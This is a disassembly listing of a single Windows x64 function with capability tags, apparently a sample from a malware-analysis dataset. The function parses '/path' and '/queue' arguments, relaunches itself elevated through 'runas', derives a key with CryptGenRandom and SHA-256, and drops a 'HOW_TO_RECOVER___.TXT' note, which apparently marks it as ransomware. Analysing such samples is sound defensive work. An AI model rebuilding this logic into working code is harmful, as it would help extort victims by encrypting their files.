Function at 0x1400079f0
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r14d, r14d
mov rsi, rcx
mov qword [rbp - 0x80], r14
mov dil, r14b
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x30], r14b
mov dword [rbp - 0x78], r14d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
or r12, 0xffffffffffffffff
lea r15d, [r14 + 1]
mov r13, rax
test rax, rax
je 0x140007de8
mov dword [rsp + 0x34], r15d
cmp dword [rbp - 0x78], r15d
jle 0x140007dd9
lea r14d, [r15 + 1]
xor edi, edi
lea rbx, [rax + 8]
mov rcx, qword [rbx]
lea rdx, [0x1400509a4]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007aa2
cmp dword [rbp - 0x78], r14d
jl 0x140007aa2
lea rcx, [rbp - 0x80]
jmp 0x140007afa
mov rcx, qword [rbx]
lea rdx, [0x1400509b0]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007adb
cmp dword [rbp - 0x78], r14d
jl 0x140007adb
mov rdx, qword [rbx + 8]
lea r8, [0x1400509ac]
lea rcx, [rsp + 0x78]
call fcn.140026484
mov byte [rsp + 0x30], 1
jmp 0x140007b94
mov rcx, qword [rbx]
lea rdx, [0x1400509b8]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b0f
cmp dword [rbp - 0x78], r14d
jl 0x140007b0f
lea rcx, [rsp + 0x78]
mov rdx, qword [rbx + 8]
lea r8, [0x1400509ac]
call fcn.140026484
jmp 0x140007b94
mov rcx, qword [rbx]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b71
cmp dword [rbp - 0x78], r14d
jl 0x140007b71
mov rax, qword [rsi + 8]
lea r8, [rbx + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007b64
mov rdx, qword [r8]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007b4b
mov rcx, rax
call fcn.140004944
add qword [rsi + 8], 0x20
jmp 0x140007b94
mov rdx, rax
mov rcx, rsi
call fcn.14000acec
jmp 0x140007b94
mov rcx, qword [rbx]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007b94
cmp dword [rbp - 0x78], r14d
jl 0x140007b94
mov rcx, qword [rbx + 8]
call fcn.140026e34
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140008034
and qword [rsp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140007bf7
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x50]
mov r9d, 4
mov dword [rbp - 0x50], 4
lea r8, [rbp - 0x4c]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne edi, dword [rbp - 0x4c]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140007c07
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140007d71
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0xf8
call fcn.14001f2b0
lea rcx, [rbp + 0x40]
call fcn.140009248
lea r15d, [rdi + 1]
cmp dword [rbp - 0x78], r15d
jle 0x140007c67
lea rdi, [r13 + 8]
lea rcx, [rbp + 0x50]
call fcn.140009bb8
mov rdx, qword [rdi]
mov rcx, rax
call fcn.140009ea8
mov rcx, rax
lea rdx, [0x140050a34]
call fcn.140009ea8
inc r15d
lea rdi, [rdi + 8]
cmp r15d, dword [rbp - 0x78]
jl 0x140007c37
mov eax, dword [rbp + 0xc8]
xor edi, edi
xorps xmm0, xmm0
mov qword [rbp - 0x60], rdi
and al, 0x22
movups xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x70], di
lea r10d, [rdi + 7]
mov qword [rbp - 0x58], r10
movups xmmword [rsp + 0x58], xmm0
cmp al, 2
je 0x140007cbe
mov rax, qword [rbp + 0x98]
mov r8, qword [rax]
test r8, r8
je 0x140007cbe
cmp r8, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb r8, qword [rbp + 0xc0]
mov rdx, qword [rax]
sub r8, rdx
sar r8, 1
jmp 0x140007cfc
test byte [rbp + 0xc8], 4
jne 0x140007cf2
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x140007cf2
mov rax, qword [rbp + 0x70]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd r8, dword [rax]
add r8, r8
sub r8, rdx
add r8, rcx
jmp 0x140007cb9
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x140007d0e
lea rcx, [rbp - 0x70]
call fcn.140009a64
mov r10, qword [rbp - 0x58]
mov r8, qword [r13]
lea r9, [rbp - 0x70]
cmp r10, 8
mov dword [rsp + 0x28], 5
lea rdx, str.runas
mov qword [rsp + 0x20], rdi
cmovae r9, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x70]
call fcn.140004864
lea rcx, [rbp + 0xd8]
call fcn.140009164
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001db6c
mov r15d, dword [rsp + 0x34]
jmp 0x140007d73
xor edi, edi
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140007daa
mov rdx, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov r8, r12
mov qword [rax + 0x18], rdi
inc r8
cmp word [rdx + r8*2], di
jne 0x140007d91
mov rcx, rax
call fcn.140004944
add qword [rsi + 8], 0x20
jmp 0x140007db8
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.14000acec
inc r15d
inc r14d
add rbx, 8
mov dword [rsp + 0x34], r15d
cmp r15d, dword [rbp - 0x78]
jl 0x140007a82
mov dil, byte [rsp + 0x30]
xor r14d, r14d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r15d, 1
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
mov r9d, r15d
or rax, rdx
mov dword [rsp + 0x20], r14d
imul eax, dword [rbp - 0x40]
xor r8d, r8d
xor edx, edx
imul eax, ecx
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x74], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140007e67
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x140007e86
mov r9d, r15d
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140007e86
mov rcx, qword [rbp - 0x48]
lea r8, [rbp - 0x74]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x74]
lea r11, [0x14005c070]
mov dword [0x14005c070], eax
mov edx, r15d
mov eax, r15d
mov r8d, r15d
mov r9d, r15d
mov r10d, r15d
cdqe
mov ecx, dword [r11 + rax*4 - 4]
shr ecx, 0x1e
xor ecx, dword [r11 + rax*4 - 4]
movsxd rax, r8d
imul ecx, ecx, 0x6c078965
add ecx, edx
lea edx, [r9 + 1]
mov dword [r11 + rax*4], ecx
mov r8d, edx
movsxd rax, r10d
mov r9d, edx
mov dword [0x14005ca30], edx
mov r10d, edx
mov dword [r11 + rax*4], ecx
mov eax, edx
cmp edx, 0x270
jl 0x140007ea5
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
movups xmm1, xmmword [0x140059c48]
xor eax, eax
mov byte [rsp + 0x38], 9
xorps xmm0, xmm0
mov qword [rsp + 0x49], rax
movups xmmword [rsp + 0x39], xmm0
lea r8, [rsp + 0x38]
mov dword [rsp + 0x51], eax
movups xmm0, xmmword [0x140059c38]
lea rdx, [rbp + 0x290]
mov word [rsp + 0x55], ax
lea rcx, [0x14005ba50]
mov byte [rsp + 0x57], al
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm1
call fcn.1400036c8
lea r8, [0x140059c60]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2b0]
call fcn.1400036c8
movups xmm0, xmmword [rbp + 0x2b0]
mov r9d, 0x20
mov qword [rbp + 0x30], 0x20
movups xmm1, xmmword [rbp + 0x2c0]
and r9d, 0x3f
mov dword [rbp + 0x10], 0x6a09e667
mov ecx, r9d
mov dword [rbp + 0x14], 0xbb67ae85
not ecx
mov dword [rbp + 0x18], 0x3c6ef372
and ecx, 3
mov dword [rbp + 0x1c], 0xa54ff53a
lea r8d, [r9 + 3]
shl ecx, 3
shr r8d, 2
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], 0x9b05688c
mov dword [rbp + 0x28], 0x1f83d9ab
mov dword [rbp + 0x2c], 0x5be0cd19
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x20], xmm1
test r8d, r8d
je 0x140007fef
lea rdx, [rbp - 0x30]
lea rdx, [rdx + r8*4]
lea rdx, [rdx - 4]
mov eax, dword [rdx]
bswap eax
mov dword [rdx], eax
add r8d, 0xffffffff
jne 0x140007fdf
mov r8d, r9d
mov edx, 0xffffff80
shr r8, 2
mov eax, 0x80
shl edx, cl
mov ebx, 0xe
shl eax, cl
and edx, dword [rbp + r8*4 - 0x30]
or edx, eax
mov dword [rbp + r8*4 - 0x30], edx
cmp r9d, 0x38
jae 0x1400080a8
shr r9d, 2
add r9d, r15d
cmp r9d, ebx
jae 0x1400080e0
jmp 0x1400080c4
xorps xmm0, xmm0
lea rdx, str.File_not_found_OR_Invalid_argument
xorps xmm1, xmm1
lea rcx, [rbp - 0x70]
mov r8d, 0x23
movups xmmword [rbp - 0x70], xmm0
movdqu xmmword [rbp - 0x60], xmm1
call fcn.140004944
movsxd rax, r15d
mov rdx, qword [r13 + rax*8]
inc r12
cmp word [rdx + r12*2], di
jne 0x140008061
mov r8, r12
lea rcx, [rbp - 0x70]
call fcn.1400048c8
cmp qword [rbp - 0x58], 8
lea rdx, [rbp - 0x70]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x70]
call fcn.140004864
jmp 0x140008203
mov eax, dword [rbp + 0xc]
cmp r9d, 0x3c
sbb ecx, ecx
and ecx, eax
xor eax, ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ed0
mov r9d, r14d
mov eax, r9d
lea rcx, [rbp - 0x30]
sub ebx, r9d
xor edx, edx
mov r8d, ebx
shl r8, 2
lea rcx, [rcx + rax*4]
call fcn.14001f2b0
mov edx, dword [rbp + 0x30]
mov ecx, edx
mov eax, dword [rbp + 0x34]
shr ecx, 0x1d
shl eax, 3
or ecx, eax
lea eax, [rdx*8]
mov dword [rbp + 8], ecx
lea rcx, [rbp - 0x30]
mov dword [rbp + 0xc], eax
call fcn.140003ed0
mov edx, r14d
lea r9, [0x14005ba28]
mov r8, r14
mov rax, r8
mov ecx, edx
and eax, 0xf
not ecx
and ecx, 3
add edx, r15d
shl ecx, 3
mov dword [rbp + rax*4 - 0x30], r14d
mov rax, r8
shr rax, 2
add r8, r15
mov eax, dword [rbp + rax*4 + 0x10]
shr eax, cl
mov byte [r9], al
add r9, r15
cmp edx, 0x20
jb 0x140008113
call fcn.14000bc7c
mov eax, dword [0x140059c58]
lea r8, [rbp + 0x40]
mov dword [rsp + 0x28], eax
lea rcx, str.C:
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, r12
jne 0x14000818c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x14000818c
mov dword [0x140059c58], r14d
jmp 0x140008195
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x14005bbd0]
call fcn.140005a24
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x14000795c]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rsp + 0x78]
mov r9, rsi
mov rcx, qword [rbp - 0x80]
mov r8b, dil
mov rbx, rax
call fcn.140006804
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140005d38
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14005ba28], xmm0
movups xmmword [0x14005ba38], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.1400073c0
mov rcx, rsi
call fcn.140009850
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14001c430
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret